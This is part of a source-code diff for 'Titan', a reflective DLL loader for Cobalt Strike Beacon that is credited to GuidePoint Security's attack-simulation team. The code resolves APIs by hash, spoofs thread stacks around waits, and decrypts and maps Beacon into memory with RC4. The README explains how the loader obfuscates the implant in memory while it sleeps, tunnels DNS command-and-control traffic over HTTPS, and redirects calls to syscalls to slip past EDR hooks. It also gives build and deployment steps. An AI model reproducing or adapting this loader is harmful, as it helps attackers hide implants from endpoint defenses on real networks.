     1260 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "DeleteFiber" ) ) );
     1261 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.DeleteFiber );
     1262 + 
     1263 + /* Locate ntdll!RtlUserThreadStart */
     1264 + Ent = C_PTR( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), 0x0353797c ) );
     1265 + 
     1266 + /* Create thread pointing at our thread capture routine */
     1267 + if ( NT_SUCCESS( Api.NtCreateThreadEx( &Thd, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Ent, NULL, TRUE, 0, 0x1000, 0, NULL ) ) ) {
     1268 + 
     1269 + /* Create an notification to alert when we have the rest of the params filled */
     1270 + if ( NT_SUCCESS( Api.NtCreateEvent( &Prm.Ev1, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) {
     1271 + /* Create a notifiation to alert when the thread should run the new frame */
     1272 + if ( NT_SUCCESS( Api.NtCreateEvent( &Prm.Ev2, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) {
     1273 + 
     1274 + /* Capture information about the thread */
     1275 + Ctx.ContextFlags = CONTEXT_FULL;
     1276 + 
     1277 + /* Get the CONTEXT structure */
     1278 + if ( NT_SUCCESS( Api.NtGetContextThread( Thd, &Ctx ) ) ) {
     1279 + 
     1280 + /* Set our actual values */
     1281 + Ctx.ContextFlags = CONTEXT_FULL;
     1282 + Ctx.Rcx = U_PTR( G_SYM( ThreadCaptureReturnAddr ) );
     1283 + Ctx.Rdx = U_PTR( &Prm );
     1284 + 
     1285 + /* Set the CONTEXT structure */
     1286 + if ( NT_SUCCESS( Api.NtSetContextThread( Thd, &Ctx ) ) ) {
     1287 + /* Resume the thread */
     1288 + if ( NT_SUCCESS( Api.NtResumeThread( Thd, NULL ) ) ) {
     1289 + /* Await for the thread to signal */
     1290 + if ( NT_SUCCESS( Api.NtWaitForSingleObject( Prm.Ev1, FALSE, NULL ) ) ) {
     1291 + /* Query THREAD_BASIC_INFORMATION about the thread */
     1292 + if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL ) ) ) {
     1293 + Teb = C_PTR( Tbi.TebBaseAddress );
     1294 + Stl = U_PTR( Teb->NtTib.StackBase ) - U_PTR( Prm.Rsp );
     1295 + 
     1296 + /* Allocate memory to hold the stack */
     1297 + if ( ( Stk = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Stl ) ) != NULL ) {
     1298 + /* Copy over the stack pointers */
     1299 + __builtin_memcpy( Stk, Prm.Rsp, Stl );
     1300 + 
     1301 + /* Set the event. If we fail, free the stack */
     1302 + if ( ! NT_SUCCESS( Api.NtSetEvent( Prm.Ev2, NULL ) ) ) {
     1303 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Stk );
     1304 + Stk = NULL;
     1305 + };
     1306 + };
     1307 + };
     1308 + };
     1309 + }
     1310 + };
     1311 + };
     1312 + /* Close! */
     1313 + Api.NtClose( Prm.Ev2 );
     1314 + };
     1315 + /* Close! */
     1316 + Api.NtClose( Prm.Ev1 );
     1317 + };
     1318 + /* Close! */
     1319 + Api.NtClose( Thd );
     1320 + 
     1321 + /* Do we still have a valid stack */
     1322 + if ( Stk != NULL ) {
     1323 + /* Create a thread pointing @ RtlUserThreadStart */
     1324 + if ( NT_SUCCESS( Api.NtCreateThreadEx( &Thd, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Ent, NULL, TRUE, 0, 0x1000, 0, NULL ) ) ) {
     1325 + /* Query TEB information */
     1326 + if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL ) ) ) {
     1327 + Teb = C_PTR( Tbi.TebBaseAddress );
     1328 + Ptr = C_PTR( U_PTR( Teb->NtTib.StackBase ) - Stl );
     1329 + 
     1330 + /* Copy over the frame */
     1331 + __builtin_memcpy( Ptr, Stk, Stl );
     1332 + 
     1333 + /* Capture information about the thread */
     1334 + Ctx.ContextFlags = CONTEXT_FULL;
     1335 + 
     1336 + if ( NT_SUCCESS( Api.NtGetContextThread( Thd, &Ctx ) ) ) {
     1337 + /* Set information about the frame */
     1338 + Ctx.ContextFlags = CONTEXT_FULL;
     1339 + Ctx.Rsp = U_PTR( Ptr );
     1340 + Ctx.Rip = U_PTR( Api.NtWaitForSingleObject );
     1341 + Ctx.Rcx = U_PTR( Handle );
     1342 + Ctx.Rdx = U_PTR( FALSE );
     1343 + Ctx.R8 = U_PTR( Timeout );
     1344 + 
     1345 + /* Set information about the frame */
     1346 + if ( NT_SUCCESS( Api.NtSetContextThread( Thd, &Ctx ) ) ) {
     1347 + /* Convert to a fiber */
     1348 + if ( ( Fbr.Master = Api.ConvertThreadToFiber( &Fbr ) ) != NULL ) {
     1349 + /* Create a fiber pointing at our obfuscate sleep routine */
     1350 + if ( ( Fbr.Slaves = Api.CreateFiber( 0x1000 * 2, C_PTR( G_SYM( ObfSleepFiber ) ), &Fbr ) ) != NULL ) {
     1351 + /* Switch to the obfuscate fiber */
     1352 + Fbr.Thread = C_PTR( Thd );
     1353 + Fbr.SwitchToFiber( Fbr.Slaves );
     1354 + 
     1355 + /* Query the thread exit status */
     1356 + if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL ) ) ) {
     1357 + /* Capture NtWaitForSingleObject Return Value */
     1358 + Nst = Tbi.ExitStatus;
     1359 + };
     1360 + 
     1361 + /* Delete the fiber */
     1362 + Api.DeleteFiber( Fbr.Slaves );
     1363 + };
     1364 + /* Convert back to a thread */
     1365 + Api.ConvertFiberToThread();
     1366 + };
     1367 + };
     1368 + };
     1369 + };
     1370 + /* Close */
     1371 + Api.NtClose( Thd );
     1372 + };
     1373 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Stk );
     1374 + };
     1375 + };
     1376 + /* Dereference! */
     1377 + Api.LdrUnloadDll( K32 );
     1378 + };
     1379 + 
     1380 + /* Zero out stack structures */
     1381 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     1382 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     1383 + RtlSecureZeroMemory( &Ani, sizeof( Ani ) );
     1384 + RtlSecureZeroMemory( &Fbr, sizeof( Fbr ) );
     1385 + RtlSecureZeroMemory( &Prm, sizeof( Prm ) );
     1386 + RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
     1387 + RtlSecureZeroMemory( &Tbi, sizeof( Tbi ) );
     1388 + 
     1389 + /* Status */
     1390 + return Nst;
     1391 +};
     1392 + 
     1393 +#endif
     1394 + 
  • ■ ■ ■ ■ ■ ■
    Obf.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Executes NtWaitForSingleObject while obfuscated.
     18 + * Once the wait has completed, the result will be
     19 + * returned back to us.
     20 + *
     21 +!*/
     22 +D_SEC( E ) NTSTATUS NTAPI ObfNtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOOLEAN Alertable, _In_ PLARGE_INTEGER Timeout );
     23 + 
  • ■ ■ ■ ■ ■ ■
    Pe.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Searches for a export matching the specified hash.
     18 + *
     19 +!*/
     20 + 
     21 +D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash )
     22 +{
     23 + ULONG Idx = 0;
     24 + PUINT16 Aoo = NULL;
     25 + PUINT32 Aof = NULL;
     26 + PUINT32 Aon = NULL;
     27 + PIMAGE_DOS_HEADER Hdr = NULL;
     28 + PIMAGE_NT_HEADERS Nth = NULL;
     29 + PIMAGE_DATA_DIRECTORY Dir = NULL;
     30 + PIMAGE_EXPORT_DIRECTORY Exp = NULL;
     31 + 
     32 + Hdr = C_PTR( Image );
     33 + Nth = C_PTR( U_PTR( Hdr ) + Hdr->e_lfanew );
     34 + Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
     35 + 
     36 + /* Has a EAT? */
     37 + if ( Dir->VirtualAddress ) {
     38 + Exp = C_PTR( U_PTR( Hdr ) + Dir->VirtualAddress );
     39 + Aon = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNames );
     40 + Aof = C_PTR( U_PTR( Hdr ) + Exp->AddressOfFunctions );
     41 + Aoo = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNameOrdinals );
     42 + 
     43 + /* Enumerate exports */
     44 + for ( Idx = 0 ; Idx < Exp->NumberOfNames ; ++Idx ) {
     45 + /* Create a hash of the string and compare */
     46 + if ( HashString( C_PTR( U_PTR( Hdr ) + Aon[ Idx ] ), 0 ) == Hash ) {
     47 + return C_PTR( U_PTR( Hdr ) + Aof[ Aoo[ Idx ] ] );
     48 + };
     49 + };
     50 + };
     51 + return NULL;
     52 +};
     53 + 
  • ■ ■ ■ ■ ■ ■
    Pe.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Searches for a export matching the specified hash.
     18 + *
     19 +!*/
     20 + 
     21 +D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash );
     22 + 
  • ■ ■ ■ ■ ■ ■
    Peb.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Finds a module loaded in memory.
     18 + *
     19 +!*/
     20 + 
     21 +D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash )
     22 +{
     23 + PPEB Peb = NULL;
     24 + PLIST_ENTRY Hdr = NULL;
     25 + PLIST_ENTRY Ent = NULL;
     26 + PLDR_DATA_TABLE_ENTRY Ldr = NULL;
     27 + 
     28 + /* Get pointer to list */
     29 + Peb = NtCurrentPeb();
     30 + Hdr = & Peb->Ldr->InLoadOrderModuleList;
     31 + Ent = Hdr->Flink;
     32 + 
     33 + for ( ; Hdr != Ent ; Ent = Ent->Flink ) {
     34 + Ldr = C_PTR( Ent );
     35 + 
     36 + /* Compare the DLL Name! */
     37 + if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == Hash ) {
     38 + return Ldr->DllBase;
     39 + };
     40 + };
     41 + return NULL;
     42 +};
     43 + 
  • ■ ■ ■ ■ ■ ■
    Peb.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Finds a module loaded in memory.
     18 + *
     19 +!*/
     20 + 
     21 +D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash );
     22 + 
  • ■ ■ ■ ■ ■ ■
    PipeList.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +typedef struct
     14 +{
     15 + LIST_ENTRY PipeList;
     16 + HANDLE Pipe;
     17 +} PIPE_ENTRY_BEACON, *PPIPE_ENTRY_BEACON ;
     18 + 
  • ■ ■ ■ ■ ■ ■
    PreMain.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +BOOLEAN
     14 +WINAPI
     15 +DllMain( HINSTANCE, DWORD, LPVOID );
     16 + 
     17 +typedef struct
     18 +{
     19 + D_API( NtUnmapViewOfSection );
     20 + D_API( NtQueryVirtualMemory );
     21 + D_API( NtFreeVirtualMemory );
     22 + D_API( DllMain );
     23 +} API ;
     24 + 
     25 +/* API Hashes */
     26 +#define H_API_NTUNMAPVIEWOFSECTION 0x6aa412cd /* NtUnmapViewOfSection */
     27 +#define H_API_NTQUERYVIRTUALMEMORY 0x10c0e85d /* NtQueryVirtualMemory */
     28 +#define H_API_NTFREEVIRTUALMEMORY 0x2802c609 /* NtFreeVirtualMemory */
     29 + 
     30 +/* LIB Hashes */
     31 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     32 + 
     33 +/*!
     34 + *
     35 + * Purpose:
     36 + *
     37 + * Frees the memory associated with the
     38 + * ReflectiveLoader before calling the
     39 + * DllMain.
     40 + *
     41 +!*/
     42 +D_SEC( E ) VOID PreMain( _In_ PVOID ImageBase, _In_ ULONG AddressOfEntryPoint )
     43 +{
     44 + API Api;
     45 + MEMORY_BASIC_INFORMATION Mbi;
     46 + 
     47 + PVOID Ret = NULL;
     48 + SIZE_T Len = 0;
     49 + 
     50 + /* Zero out stack structures */
     51 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     52 + RtlSecureZeroMemory( &Mbi, sizeof( Mbi ) );
     53 + 
     54 + Api.NtUnmapViewOfSection = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTUNMAPVIEWOFSECTION );
     55 + Api.NtQueryVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYVIRTUALMEMORY );
     56 + Api.NtFreeVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTFREEVIRTUALMEMORY );
     57 + 
     58 + /* Get return address! */
     59 + Ret = C_PTR( __builtin_extract_return_addr( __builtin_return_address( 0 ) ) );
     60 + 
     61 + /* Free the memory associated with the Beacon */
     62 + if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), Ret, MemoryBasicInformation, &Mbi, sizeof( Mbi ), NULL ) ) ) {
     63 + if ( Mbi.Type == MEM_MAPPED ) {
     64 + /* Free the section */
     65 + Api.NtUnmapViewOfSection( NtCurrentProcess(), Mbi.AllocationBase );
     66 + };
     67 + if ( Mbi.Type == MEM_PRIVATE ) {
     68 + /* Free the virtual region */
     69 + Api.NtFreeVirtualMemory( NtCurrentProcess(), &Mbi.AllocationBase, &Len, MEM_RELEASE );
     70 + };
     71 + /* Call Main! */
     72 + Api.DllMain = C_PTR( U_PTR( ImageBase ) + AddressOfEntryPoint );
     73 + Api.DllMain( ImageBase, 1, NULL );
     74 + Api.DllMain( NULL, 4, NULL );
     75 + };
     76 + 
     77 + /* Does Not Return */
     78 +};
     79 + 
  • ■ ■ ■ ■ ■ ■
    PreMain.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Frees the memory associated with the
     18 + * ReflectiveLoader before calling the
     19 + * DllMain.
     20 + *
     21 +!*/
     22 +D_SEC( E ) VOID PreMain( _In_ PVOID ImageBase, _In_ ULONG AddressOfEntryPoint );
     23 + 
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# About
     2 + 
     3 +Titan is a User Defined Reflective DLL ( URDLL ) that uses a combination of techniques to achieve initial execution and maintain shell stability for Cobalt Strike in a modern endpoint-deteciton and response heavy environment.
     4 + 
     5 +Titan is designed to work specifically with Cobalt Strike and with Cobalt Strike alone. It could be ported to other frameworks, but likely is pointless in doing so.
     6 + 
     7 +## Table of Contents
     8 + 
     9 + - [Techniques](#Techniques)
     10 + - [Memory Evasion](#Memory-Evasion-Obfuscate-and-Sleep)
     11 + - [DNS over HTTP(s)](#DNS-Now-with-DNS-over-HTTPs)
     12 + - [Single Threaded](#Single-Thread)
     13 + - [System Calls!](#Redirect-To-System-Calls)
     14 + - [Setup](#Setup)
     15 + 
     16 +## Techniques
     17 + 
     18 +### Memory Evasion: Obfuscate and Sleep
     19 + 
     20 +Titan implements a basic x86_64 memory evasion hook that hides the traces of its implant in memory with the help user-created timer callbacks, a technique popularized by NightHawk and implemented publicly by the user [Paul](https://twitter.com/c5pider) whom published the project under the name [Ekko](https://github.com/Cracked5pider/Ekko). However, both implementation have a few caveats and race conditions that lead to it being unstable.
     21 + 
     22 +The latest version supports multiple sessions being spawned within the same process due to the creation of a new thread pool for each Beacon. It no longer breaks the host process's original queue if it is using one.
     23 + 
     24 +It currently encryptes when Beacon waits for jobs to complete, while it is sleeping, and while SMB pipes are awaiting a connection, writing to a pipe, or reading from a named pipe to avoid detection when transfering data over the network.
     25 + 
     26 +| Beacon | Obfuscated In Memory |
     27 +|-----------------------|----------------------|
     28 +| windows/reverse_https | TRUE |
     29 +| windows/reverse_dns | TRUE |
     30 +| windows/smb | TRUE |
     31 +| windows/tcp | FALSE |
     32 + 
     33 +### DNS: Now with DNS over HTTP(s)!
     34 + 
     35 +DNS beacons recieved a completed overhall that allowed them to send their traffic over a more secure DNS over HTTP(s) provider that is hardcoded within the hook code itself. Each and every request will be seen sent to those providers, masking the original DNS name with ease. If you wish that your traffic be sent over the original DNS protocol, then you can disable this hook.
     36 + 
     37 +### Single Thread
     38 + 
     39 +Cobalt is largely single threaded on its own, but Titan forces it to be entirely single threaded. Unfortunately, this breaks some of the internal functionality such as Powershell-based commands
     40 +at the cost of operational security. Largely, this should not break a majority of the functionality you're using, but will break some.
     41 + 
     42 +### Redirect To System Calls
     43 + 
     44 +Some functions that involve remote process interaction are redirected to System Calls using a mapping of KnownDLLs for x86/x64/WOW64. It avoids some detections that SentinelOne/CrowdStrike implement with their inline hooks.
     45 + 
     46 +## Setup
     47 + 
     48 +To start utilizing Titan, you will need to install `nasm`, `make`, `python3`, the [pefile module for python](https://github.com/erocarrera/pefile) and Mingw-w64. You will need the mingw-w64 compilers from musl.cc, which is available here for [x86_64-w64-mingw32-cross](https://musl.cc/x86_64-w64-mingw32-cross.tgz), and [i686-w64-mingw32-cross](https://musl.cc/i686-w64-mingw32-cross.tgz) to compile the code, as the ones available in your package managers is not updated to the latest versions. Once you've setup your compilers in the PATH, and installed the above packages, you can start compiling the source code!
     49 + 
     50 +Example steps to download the cross-compilers and add them to your PATH:
     51 + 
     52 +```
     53 +# cd /root/tools
     54 +# wget https://musl.cc/x86_64-w64-mingw32-cross.tgz
     55 +# tar -xvf x86_64-w64-mingw32-cross.tgz
     56 +# cd x86_64-w64-mingw32-cross/bin
     57 +# export PATH=$(pwd):$PATH
     58 +# cd /root/tools
     59 +# wget https://musl.cc/i686-w64-mingw32-cross.tgz
     60 +# tar -xvzf i686-w64-mingw32-cross.tgz
     61 +# cd i686-w64-mingw32-cross/bin
     62 +# export PATH=$(pwd):$PATH
     63 +```
     64 + 
     65 +A sample output is shown below
     66 + 
     67 + ```shell=/bin/bash
     68 +devvm:~/projects/kit/titan $ make
     69 +/root/tools/i686-w64-mingw32-cross/bin/../lib/gcc/i686-w64-mingw32/11.2.1/../../../../i686-w64-mingw32/bin/ld: Titan.x86.exe:.text: section below image base
     70 +/root/tools/i686-w64-mingw32-cross/bin/../lib/gcc/i686-w64-mingw32/11.2.1/../../../../i686-w64-mingw32/bin/ld: Titan.x86.exe:.edata: section below image base
     71 +/root/tools/x86_64-w64-mingw32-cross/bin/../lib/gcc/x86_64-w64-mingw32/11.2.1/../../../../x86_64-w64-mingw32/bin/ld: Titan.x64.exe:.text: section below image base
     72 +/root/tools/x86_64-w64-mingw32-cross/bin/../lib/gcc/x86_64-w64-mingw32/11.2.1/../../../../x86_64-w64-mingw32/bin/ld: Titan.x64.exe:.edata: section below image base
     73 +```
     74 + 
     75 +Success! You've successfully compiled the binary files needed to utilize it. To begin using it, include the `Titan.cna` into your Aggressor Scripts `Cobalt Strike > Script Manager`. Once you've imported the aggressor script into Cobalt, you can begin exporting an `raw` artifact to use with Shelter or embedding into your own artifact kit!
     76 + 
     77 +![](https://i.imgur.com/sI5Quif.png)
     78 + 
  • ■ ■ ■ ■ ■ ■
    Random.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +/* Definition */
     14 +ULONG
     15 +NTAPI
     16 +RtlRandomEx(
     17 + _In_ PUINT32 Seed
     18 +);
     19 + 
     20 +typedef struct
     21 +{
     22 + D_API( RtlRandomEx );
     23 +} API ;
     24 + 
     25 +/* API Hashes */
     26 +#define H_API_RTLRANDOMEX 0x7f1224f5 /* RtlRandomEx */
     27 + 
     28 +/* LIB Hashes */
     29 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     30 + 
     31 +/*!
     32 + *
     33 + * Purpose:
     34 + *
     35 + * Returns a random string of the specified
     36 + * length.
     37 + *
     38 +!*/
     39 +D_SEC( E ) VOID RandomString( _In_ PCHAR Buffer, _In_ UINT32 Length )
     40 +{
     41 + API Api;
     42 + 
     43 + PCHAR Alp = C_PTR( G_SYM( "ABCDEFGHIJKLMNOPQRSTUVWXYZ" ) );
     44 + UINT32 Val = 0;
     45 + 
     46 + /* Zero out stack structures */
     47 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     48 + 
     49 + /* Init API */
     50 + Api.RtlRandomEx = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLRANDOMEX );
     51 + 
     52 + /* Create buffer to hold the random string */
     53 + for ( INT Idx = 0 ; Idx < Length ; ++Idx ) {
     54 + /* Generate random index */
     55 + Val = NtGetTickCount();
     56 + Val = Api.RtlRandomEx( &Val );
     57 + Val = Api.RtlRandomEx( &Val );
     58 + Val = Val % 26;
     59 + 
     60 + /* Set character */
     61 + Buffer[ Idx ] = Alp[ Val ];
     62 + };
     63 + 
     64 + /* Zero out stack structures */
     65 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     66 +};
     67 + 
  • ■ ■ ■ ■ ■ ■
    Random.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Returns a random string of the specified
     18 + * length.
     19 + *
     20 +!*/
     21 +D_SEC( E ) VOID RandomString( _In_ PCHAR Buffer, _In_ UINT32 Length );
     22 + 
  • ■ ■ ■ ■ ■ ■
    SectionLink.ld
     1 +SECTIONS
     2 +{
     3 + .text :
     4 + {
     5 + *( .text$A )
     6 + *( .text$B )
     7 + *( .text$C )
     8 + *( .text$D )
     9 + *( .text$E )
     10 + *( .data* )
     11 + *( .rdata* )
     12 + *( .text$F )
     13 + }
     14 +}
     15 + 
  • ■ ■ ■ ■ ■ ■
    Table.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +typedef struct __attribute__(( packed ))
     14 +{
     15 + TP_CALLBACK_ENVIRON PoolEnv;
     16 +} TABLE_DEBUGGER ;
     17 + 
     18 +/* Table allocated and stored on a test */
     19 +typedef struct __attribute__(( packed ))
     20 +{
     21 + CLIENT_ID ClientId;
     22 + ULONG_PTR RxBuffer;
     23 + ULONG_PTR RxLength;
     24 + ULONG_PTR ImageLength;
     25 + 
     26 + LIST_ENTRY HeapList;
     27 + LIST_ENTRY PipeList;
     28 + TABLE_DEBUGGER Debugger;
     29 +} TABLE_HEAP, *PTABLE_HEAP ;
     30 + 
     31 +typedef struct __attribute__(( packed ))
     32 +{
     33 + PTABLE_HEAP Table;
     34 +} TABLE, *PTABLE ;
     35 + 
  • ■ ■ ■ ■ ■ ■
    Titan.c
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#include "Common.h"
     12 + 
     13 +typedef struct
     14 +{
     15 + D_API( NtAllocateVirtualMemory );
     16 + D_API( NtProtectVirtualMemory );
     17 + D_API( NtFreeVirtualMemory );
     18 + D_API( RtlAllocateHeap );
     19 +} API, *PAPI;
     20 + 
     21 +#define H_API_NTALLOCATEVIRTUALMEMORY 0xf783b8ec /* NtAllocateVirtualMemory */
     22 +#define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888 /* NtProtectVirtualMemory */
     23 +#define H_API_NTFREEVIRTUALMEMORY 0x2802c609 /* NtFreeVirtualMemory */
     24 +#define H_API_RTLALLOCATEHEAP 0x3be94c5a /* RtlAllocateHeap */
     25 +#define H_API_NTCLOSE 0x40d6e69d /* NtClose */
     26 +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
     27 + 
     28 +#ifndef PTR_TO_HOOK
     29 +#define PTR_TO_HOOK( a, b ) U_PTR( U_PTR( a ) + G_SYM( b ) - G_SYM( Table ) )
     30 +#endif
     31 + 
     32 +/*!
     33 + *
     34 + * Purpose:
     35 + *
     36 + * Loads Beacon into memory and executes its
     37 + * entrypoint.
     38 + *
     39 +!*/
     40 + 
     41 +D_SEC( B ) VOID WINAPI Titan( VOID )
     42 +{
     43 + API Api;
     44 + ARC4_CTX Rc4;
     45 + 
     46 + ULONG Aoe = 0;
     47 + SIZE_T Prm = 0;
     48 + SIZE_T SLn = 0;
     49 + SIZE_T ILn = 0;
     50 + SIZE_T Idx = 0;
     51 + SIZE_T MLn = 0;
     52 + SIZE_T ELn = 0;
     53 + 
     54 + PVOID Enc = NULL;
     55 + PVOID Mem = NULL;
     56 + PVOID Map = NULL;
     57 + PTABLE Tbl = NULL;
     58 + PCONFIG Cfg = NULL;
     59 + PIMAGE_DOS_HEADER Dos = NULL;
     60 + PIMAGE_NT_HEADERS Nth = NULL;
     61 + PIMAGE_SECTION_HEADER Sec = NULL;
     62 + PIMAGE_DATA_DIRECTORY Dir = NULL;
     63 + 
     64 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     65 + RtlSecureZeroMemory( &Rc4, sizeof( Rc4 ) );
     66 + 
     67 + /* Initialize API structures */
     68 + Api.NtAllocateVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTALLOCATEVIRTUALMEMORY );
     69 + Api.NtProtectVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTPROTECTVIRTUALMEMORY );
     70 + Api.NtFreeVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTFREEVIRTUALMEMORY );
     71 + Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP );
     72 + 
     73 + /* Set config and buf length */
     74 + Cfg = C_PTR( G_END() );
     75 + ELn = Cfg->Rc4Len;
     76 + 
     77 + /* Init the key */
     78 + arc4_init( &Rc4, Cfg->KeyBuf, sizeof( Cfg->KeyBuf ) );
     79 + 
     80 + if ( NT_SUCCESS( Api.NtAllocateVirtualMemory( NtCurrentProcess(), &Enc, 0, &ELn, MEM_COMMIT, PAGE_READWRITE ) ) ) {
     81 + /* Decode Beacon into new memory region */
     82 + arc4_process( &Rc4, Cfg->Rc4Buf, Enc, Cfg->Rc4Len );
     83 + 
     84 + /* Setup Image Headers */
     85 + Dos = C_PTR( C_PTR( Enc ) );
     86 + Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
     87 + Sec = IMAGE_FIRST_SECTION( Nth );
     88 + 
     89 + /* Allocate Length For Hooks & Beacon */
     90 + ILn = ( ( ( Nth->OptionalHeader.SizeOfImage ) + 0x1000 - 1 ) &~( 0x1000 - 1 ) );
     91 + SLn = ( ( ( G_END() - G_SYM( Table ) ) + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) );
     92 + MLn = ILn + SLn;
     93 + 
     94 + /* Create a page of memory that is marked as R/W */
     95 + if ( NT_SUCCESS( Api.NtAllocateVirtualMemory( NtCurrentProcess(), &Mem, 0, &MLn, MEM_COMMIT, PAGE_READWRITE ) ) ) {
     96 +
     97 + /* Copy hooks over the top */
     98 + __builtin_memcpy( Mem, C_PTR( G_SYM( Table ) ), U_PTR( G_END() - G_SYM( Table ) ) );
     99 + 
     100 + /* Get pointer to PE Image */
     101 + Map = C_PTR( U_PTR( Mem ) + SLn - Sec->VirtualAddress );
     102 + 
     103 + /* Copy sections over to new mem */
     104 + for ( Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) {
     105 + __builtin_memcpy( C_PTR( U_PTR( Map ) + Sec[ Idx ].VirtualAddress ),
     106 + C_PTR( U_PTR( Dos ) + Sec[ Idx ].PointerToRawData ),
     107 + Sec[ Idx ].SizeOfRawData );
     108 + };
     109 + 
     110 + /* Get a pointer to the import table */
